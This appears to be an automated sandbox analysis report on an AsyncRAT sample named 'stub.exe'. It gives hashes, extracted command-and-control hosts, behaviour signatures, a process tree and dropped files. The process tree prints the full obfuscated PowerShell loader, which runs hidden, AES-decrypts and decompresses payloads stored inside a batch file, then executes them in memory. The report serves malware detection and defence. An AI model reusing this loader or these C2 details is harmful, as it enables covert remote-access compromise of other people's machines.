Analysis

  • max time kernel
    113s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-11-2024 17:02

General

  • Target

    stub.exe

  • Size

    8.3MB

  • MD5

    812c191196807e717082916052bfaa4f

  • SHA1

    1b1144a8e914281cb9754ca6f5f8133d35dd01bc

  • SHA256

    967d8df2b2b47c97fcb36286731254cc23e81fb92b1ebc1c917e292c3d2740c6

  • SHA512

    152b88c1282765ec6971cf81489453f340f91eba9d85ff6dbc7d3daea16088eb2529dfb470d5ade09ccc625bfa37a0a12dd02bb05ffd383fceaa1a5dd78610f0

  • SSDEEP

    196608:7GGv8HZ4JFdQmRrdA6lS8Qnf2ODjMnGydS8jyi9IleHq7O2zH:COYsdQOlaF3MnG38jyi9IleKqkH

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

127.0.0.1:55496

127.0.0.1:37754

tcp://nasdnasnd-55496.portmap.host:55496:55496

tcp://nasdnasnd-55496.portmap.host:55496:37754

tcp://nasdnasnd-55496.portmap.host:55496

tcp://nasdnasnd-55496.portmap.host:37754

floor-getting.gl.at.ply.gg:55496

floor-getting.gl.at.ply.gg:37754

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 20 IoCs
  • Delays execution with timeout.exe 1 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\stub.exe
    "C:\Users\Admin\AppData\Local\Temp\stub.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2800
    • C:\Users\Admin\AppData\Local\Temp\stub.exe
      "C:\Users\Admin\AppData\Local\Temp\stub.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4412
      • C:\Windows\SYSTEM32\attrib.exe
        attrib +h C:\Users\Admin\AppData\Roaming\HiddenDownloads
        3⤵
        • Views/modifies file attributes
        PID:2924
      • C:\Windows\SYSTEM32\attrib.exe
        attrib +h C:\Users\Admin\AppData\Roaming\HiddenDownloads\Infect1ed.bat
        3⤵
        • Views/modifies file attributes
        PID:2160
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c C:\Users\Admin\AppData\Roaming\HiddenDownloads\Infect1ed.bat
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4356
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PEyYh1n8VzYpr21/IXl51llHEBPi1h78+H+NUvA+uSQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('G2HEgLk6pcvHDZUSbthIeg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fpNLi=New-Object System.IO.MemoryStream(,$param_var); $gtpiv=New-Object System.IO.MemoryStream; $BIEih=New-Object System.IO.Compression.GZipStream($fpNLi, [IO.Compression.CompressionMode]::Decompress); $BIEih.CopyTo($gtpiv); $BIEih.Dispose(); $fpNLi.Dispose(); $gtpiv.Dispose(); $gtpiv.ToArray();}function execute_function($param_var,$param2_var){ $oCrgP=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bcgwz=$oCrgP.EntryPoint; $bcgwz.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\HiddenDownloads\Infect1ed.bat';$KYofG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\HiddenDownloads\Infect1ed.bat').Split([Environment]::NewLine);foreach ($RsYgi in $KYofG) { if ($RsYgi.StartsWith(':: ')) { $lhLhP=$RsYgi.Substring(3); break; }}$payloads_var=[string[]]$lhLhP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3256
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:6104
            • C:\Windows\system32\help.exe
              help
              6⤵
                PID:6812
              • C:\Windows\system32\ipconfig.exe
                ipconfig
                6⤵
                • Gathers network information
                PID:7208
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp67B9.tmp.bat""
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:14700
              • C:\Windows\system32\timeout.exe
                timeout 3
                6⤵
                • Delays execution with timeout.exe
                PID:14756

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\VCRUNTIME140.dll

      Filesize

      96KB

      MD5

      f12681a472b9dd04a812e16096514974

      SHA1

      6fd102eb3e0b0e6eef08118d71f28702d1a9067c

      SHA256

      d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8

      SHA512

      7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\_brotli.cp311-win_amd64.pyd

      Filesize

      801KB

      MD5

      d9fc15caf72e5d7f9a09b675e309f71d

      SHA1

      cd2b2465c04c713bc58d1c5de5f8a2e13f900234

      SHA256

      1fcd75b03673904d9471ec03c0ef26978d25135a2026020e679174bdef976dcf

      SHA512

      84f705d52bd3e50ac412c8de4086c18100eac33e716954fbcb3519f4225be1f4e1c3643d5a777c76f7112fae30ce428e0ce4c05180a52842dacb1f5514460006

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\_bz2.pyd

      Filesize

      81KB

      MD5

      4101128e19134a4733028cfaafc2f3bb

      SHA1

      66c18b0406201c3cfbba6e239ab9ee3dbb3be07d

      SHA256

      5843872d5e2b08f138a71fe9ba94813afee59c8b48166d4a8eb0f606107a7e80

      SHA512

      4f2fc415026d7fd71c5018bc2ffdf37a5b835a417b9e5017261849e36d65375715bae148ce8f9649f9d807a63ac09d0fb270e4abae83dfa371d129953a5422ca

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\_decimal.pyd

      Filesize

      245KB

      MD5

      d47e6acf09ead5774d5b471ab3ab96ff

      SHA1

      64ce9b5d5f07395935df95d4a0f06760319224a2

      SHA256

      d0df57988a74acd50b2d261e8b5f2c25da7b940ec2aafbee444c277552421e6e

      SHA512

      52e132ce94f21fa253fed4cf1f67e8d4423d8c30224f961296ee9f64e2c9f4f7064d4c8405cd3bb67d3cf880fe4c21ab202fa8cf677e3b4dad1be6929dbda4e2

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\_hashlib.pyd

      Filesize

      62KB

      MD5

      de4d104ea13b70c093b07219d2eff6cb

      SHA1

      83daf591c049f977879e5114c5fea9bbbfa0ad7b

      SHA256

      39bc615842a176db72d4e0558f3cdcae23ab0623ad132f815d21dcfbfd4b110e

      SHA512

      567f703c2e45f13c6107d767597dba762dc5caa86024c87e7b28df2d6c77cd06d3f1f97eed45e6ef127d5346679fea89ac4dc2c453ce366b6233c0fa68d82692

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\_lzma.pyd

      Filesize

      154KB

      MD5

      337b0e65a856568778e25660f77bc80a

      SHA1

      4d9e921feaee5fa70181eba99054ffa7b6c9bb3f

      SHA256

      613de58e4a9a80eff8f8bc45c350a6eaebf89f85ffd2d7e3b0b266bf0888a60a

      SHA512

      19e6da02d9d25ccef06c843b9f429e6b598667270631febe99a0d12fc12d5da4fb242973a8351d3bf169f60d2e17fe821ad692038c793ce69dfb66a42211398e

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\_queue.pyd

      Filesize

      30KB

      MD5

      ff8300999335c939fcce94f2e7f039c0

      SHA1

      4ff3a7a9d9ca005b5659b55d8cd064d2eb708b1a

      SHA256

      2f71046891ba279b00b70eb031fe90b379dbe84559cf49ce5d1297ea6bf47a78

      SHA512

      f29b1fd6f52130d69c8bd21a72a71841bf67d54b216febcd4e526e81b499b9b48831bb7cdff0bff6878aab542ca05d6326b8a293f2fb4dd95058461c0fd14017

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\_socket.pyd

      Filesize

      76KB

      MD5

      8140bdc5803a4893509f0e39b67158ce

      SHA1

      653cc1c82ba6240b0186623724aec3287e9bc232

      SHA256

      39715ef8d043354f0ab15f62878530a38518fb6192bc48da6a098498e8d35769

      SHA512

      d0878fee92e555b15e9f01ce39cfdc3d6122b41ce00ec3a4a7f0f661619f83ec520dca41e35a1e15650fb34ad238974fe8019577c42ca460dde76e3891b0e826

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\_ssl.pyd

      Filesize

      155KB

      MD5

      069bccc9f31f57616e88c92650589bdd

      SHA1

      050fc5ccd92af4fbb3047be40202d062f9958e57

      SHA256

      cb42e8598e3fa53eeebf63f2af1730b9ec64614bda276ab2cd1f1c196b3d7e32

      SHA512

      0e5513fbe42987c658dba13da737c547ff0b8006aecf538c2f5cf731c54de83e26889be62e5c8a10d2c91d5ada4d64015b640dab13130039a5a8a5ab33a723dc

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\_uuid.pyd

      Filesize

      23KB

      MD5

      9a4957bdc2a783ed4ba681cba2c99c5c

      SHA1

      f73d33677f5c61deb8a736e8dde14e1924e0b0dc

      SHA256

      f7f57807c15c21c5aa9818edf3993d0b94aef8af5808e1ad86a98637fc499d44

      SHA512

      027bdcb5b3e0ca911ee3c94c42da7309ea381b4c8ec27cf9a04090fff871db3cf9b7b659fdbcfff8887a058cb9b092b92d7d11f4f934a53be81c29ef8895ac2b

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\base_library.zip

      Filesize

      1.4MB

      MD5

      d0ad2b400f15d1bbaf48c8908bee5b0f

      SHA1

      c3f25ea44c69180bc7dff7f2615a4010badc9b4e

      SHA256

      b178b21bd1653a95b626840f565806b8e121962db6b3ae332632d5948323263e

      SHA512

      516183b61b5b65031b07876f4f35f6436cc6cd5b0c395ba18f96d42082e700b88d95bf48e029300674001bba9a8a9820e7e96134f3c55b9d457aba479dff955c

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\certifi\cacert.pem

      Filesize

      292KB

      MD5

      50ea156b773e8803f6c1fe712f746cba

      SHA1

      2c68212e96605210eddf740291862bdf59398aef

      SHA256

      94edeb66e91774fcae93a05650914e29096259a5c7e871a1f65d461ab5201b47

      SHA512

      01ed2e7177a99e6cb3fbef815321b6fa036ad14a3f93499f2cb5b0dae5b713fd2e6955aa05f6bda11d80e9e0275040005e5b7d616959b28efc62abb43a3238f0

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\charset_normalizer\md.cp311-win_amd64.pyd

      Filesize

      10KB

      MD5

      cbf62e25e6e036d3ab1946dbaff114c1

      SHA1

      b35f91eaf4627311b56707ef12e05d6d435a4248

      SHA256

      06032e64e1561251ea3035112785f43945b1e959a9bf586c35c9ea1c59585c37

      SHA512

      04b694d0ae99d5786fa19f03c5b4dd8124c4f9144cfe7ca250b48a3c0de0883e06a6319351ae93ea95b55bbbfa69525a91e9407478e40ad62951f1d63d45ff18

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\charset_normalizer\md__mypyc.cp311-win_amd64.pyd

      Filesize

      118KB

      MD5

      bac273806f46cffb94a84d7b4ced6027

      SHA1

      773fbc0435196c8123ee89b0a2fc4d44241ff063

      SHA256

      1d9aba3ff1156ea1fbe10b8aa201d4565ae6022daf2117390d1d8197b80bb70b

      SHA512

      eaec1f072c2c0bc439ac7b4e3aea6e75c07bd4cd2d653be8500bbffe371fbfe045227daead653c162d972ccaadff18ac7da4d366d1200618b0291d76e18b125c

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\libcrypto-1_1.dll

      Filesize

      3.3MB

      MD5

      6f4b8eb45a965372156086201207c81f

      SHA1

      8278f9539463f0a45009287f0516098cb7a15406

      SHA256

      976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541

      SHA512

      2c5c54842aba9c82fb9e7594ae9e264ac3cbdc2cc1cd22263e9d77479b93636799d0f28235ac79937070e40b04a097c3ea3b7e0cd4376a95ed8ca90245b7891f

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\libssl-1_1.dll

      Filesize

      686KB

      MD5

      8769adafca3a6fc6ef26f01fd31afa84

      SHA1

      38baef74bdd2e941ccd321f91bfd49dacc6a3cb6

      SHA256

      2aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071

      SHA512

      fac22f1a2ffbfb4789bdeed476c8daf42547d40efe3e11b41fadbc4445bb7ca77675a31b5337df55fdeb4d2739e0fb2cbcac2feabfd4cd48201f8ae50a9bd90b

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\python3.dll

      Filesize

      64KB

      MD5

      34e49bb1dfddf6037f0001d9aefe7d61

      SHA1

      a25a39dca11cdc195c9ecd49e95657a3e4fe3215

      SHA256

      4055d1b9e553b78c244143ab6b48151604003b39a9bf54879dee9175455c1281

      SHA512

      edb715654baaf499cf788bcacd5657adcf9f20b37b02671abe71bda334629344415ed3a7e95cb51164e66a7aa3ed4bf84acb05649ccd55e3f64036f3178b7856

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\python311.dll

      Filesize

      5.5MB

      MD5

      9a24c8c35e4ac4b1597124c1dcbebe0f

      SHA1

      f59782a4923a30118b97e01a7f8db69b92d8382a

      SHA256

      a0cf640e756875c25c12b4a38ba5f2772e8e512036e2ac59eb8567bf05ffbfb7

      SHA512

      9d9336bf1f0d3bc9ce4a636a5f4e52c5f9487f51f00614fc4a34854a315ce7ea8be328153812dbd67c45c75001818fa63317eba15a6c9a024fa9f2cab163165b

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\select.pyd

      Filesize

      28KB

      MD5

      97ee623f1217a7b4b7de5769b7b665d6

      SHA1

      95b918f3f4c057fb9c878c8cc5e502c0bd9e54c0

      SHA256

      0046eb32f873cde62cf29af02687b1dd43154e9fd10e0aa3d8353d3debb38790

      SHA512

      20edc7eae5c0709af5c792f04a8a633d416da5a38fc69bd0409afe40b7fb1afa526de6fe25d8543ece9ea44fd6baa04a9d316ac71212ae9638bdef768e661e0f

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\unicodedata.pyd

      Filesize

      1.1MB

      MD5

      bc58eb17a9c2e48e97a12174818d969d

      SHA1

      11949ebc05d24ab39d86193b6b6fcff3e4733cfd

      SHA256

      ecf7836aa0d36b5880eb6f799ec402b1f2e999f78bfff6fb9a942d1d8d0b9baa

      SHA512

      4aa2b2ce3eb47503b48f6a888162a527834a6c04d3b49c562983b4d5aad9b7363d57aef2e17fe6412b89a9a3b37fb62a4ade4afc90016e2759638a17b1deae6c

    • C:\Users\Admin\AppData\Local\Temp\_MEI28002\zstandard\backend_c.cp311-win_amd64.pyd

      Filesize

      507KB

      MD5

      56db4a861aec914a860461dedcdca0a0

      SHA1

      8535a8c9eac371a54308795a8bbe89414933e035

      SHA256

      6ab611c4a24406d9d97f09d49d50142ab2734b69a2b0d9ea6489e4af90c4a2a4

      SHA512

      600a21666e9ed334de5b4b17f60136434ee485c80f9740e6085e24ef95ca5376e6223a54c6b1c8f12987edab5d89af9676cc12e2a335f4c4e9ab79dfef8e4b90

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x5ax3pgd.ndf.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\tmp67B9.tmp.bat

      Filesize

      171B

      MD5

      af4d195df3f79bed0ca011dc38815dcc

      SHA1

      fec5b9dd4784a0c080e095eb84c9876f73247682

      SHA256

      912e594e73af413678701e8d647a9d3a3e1b8872b14668070d44cc41e8f889f8

      SHA512

      7cc51086f71efcdeb9301059ad27f6117b68573888e8573914dc13b58db32de7b692720ed3e79282e7030348e7bc5aea5e6ba96a4da578121544f72ab642d560

    • C:\Users\Admin\AppData\Roaming\HiddenDownloads\Infect1ed.bat

      Filesize

      277KB

      MD5

      9a0c13597c06fde5880fefab3866e9b5

      SHA1

      e3741ecab92f2395215a11ce86a752f9cb8de45a

      SHA256

      7040e23d2fb55f974503328406df36a6d6dac1b8835e00d54a70ebf9c080f843

      SHA512

      7127132f0ae4207a2025bb317b57d89d16cf8d3469affeb4e717e4814cfd1d8fd4b6f8b38b38f350017e7de025f90bfb183743a5391336e6b78c795fd75d7888

    • memory/3256-77-0x00007FFB386D0000-0x00007FFB39191000-memory.dmp

      Filesize

      10.8MB

    • memory/3256-86-0x00007FFB386D0000-0x00007FFB39191000-memory.dmp

      Filesize

      10.8MB

    • memory/3256-75-0x00000242605E0000-0x0000024260602000-memory.dmp

      Filesize

      136KB

    • memory/3256-78-0x0000024260610000-0x0000024260618000-memory.dmp

      Filesize

      32KB

    • memory/3256-79-0x0000024260620000-0x0000024260656000-memory.dmp

      Filesize

      216KB

    • memory/3256-80-0x0000024260650000-0x0000024260666000-memory.dmp

      Filesize

      88KB

    • memory/3256-81-0x00007FFB386D3000-0x00007FFB386D5000-memory.dmp

      Filesize

      8KB

    • memory/3256-82-0x00007FFB386D0000-0x00007FFB39191000-memory.dmp

      Filesize

      10.8MB

    • memory/3256-83-0x00007FFB386D0000-0x00007FFB39191000-memory.dmp

      Filesize

      10.8MB

    • memory/3256-76-0x00007FFB386D0000-0x00007FFB39191000-memory.dmp

      Filesize

      10.8MB

    • memory/3256-87-0x0000024263300000-0x0000024263376000-memory.dmp

      Filesize

      472KB

    • memory/3256-88-0x0000024263280000-0x00000242632B4000-memory.dmp

      Filesize

      208KB

    • memory/3256-89-0x00000242633A0000-0x00000242633BE000-memory.dmp

      Filesize

      120KB

    • memory/3256-90-0x00007FFB386D0000-0x00007FFB39191000-memory.dmp

      Filesize

      10.8MB

    • memory/3256-91-0x00007FFB386D0000-0x00007FFB39191000-memory.dmp

      Filesize

      10.8MB

    • memory/3256-92-0x0000024263380000-0x000002426339A000-memory.dmp

      Filesize

      104KB

    • memory/3256-93-0x00000242637F0000-0x00000242638A2000-memory.dmp

      Filesize

      712KB

    • memory/3256-65-0x00007FFB386D3000-0x00007FFB386D5000-memory.dmp

      Filesize

      8KB

    • memory/3256-99-0x00007FFB386D0000-0x00007FFB39191000-memory.dmp

      Filesize

      10.8MB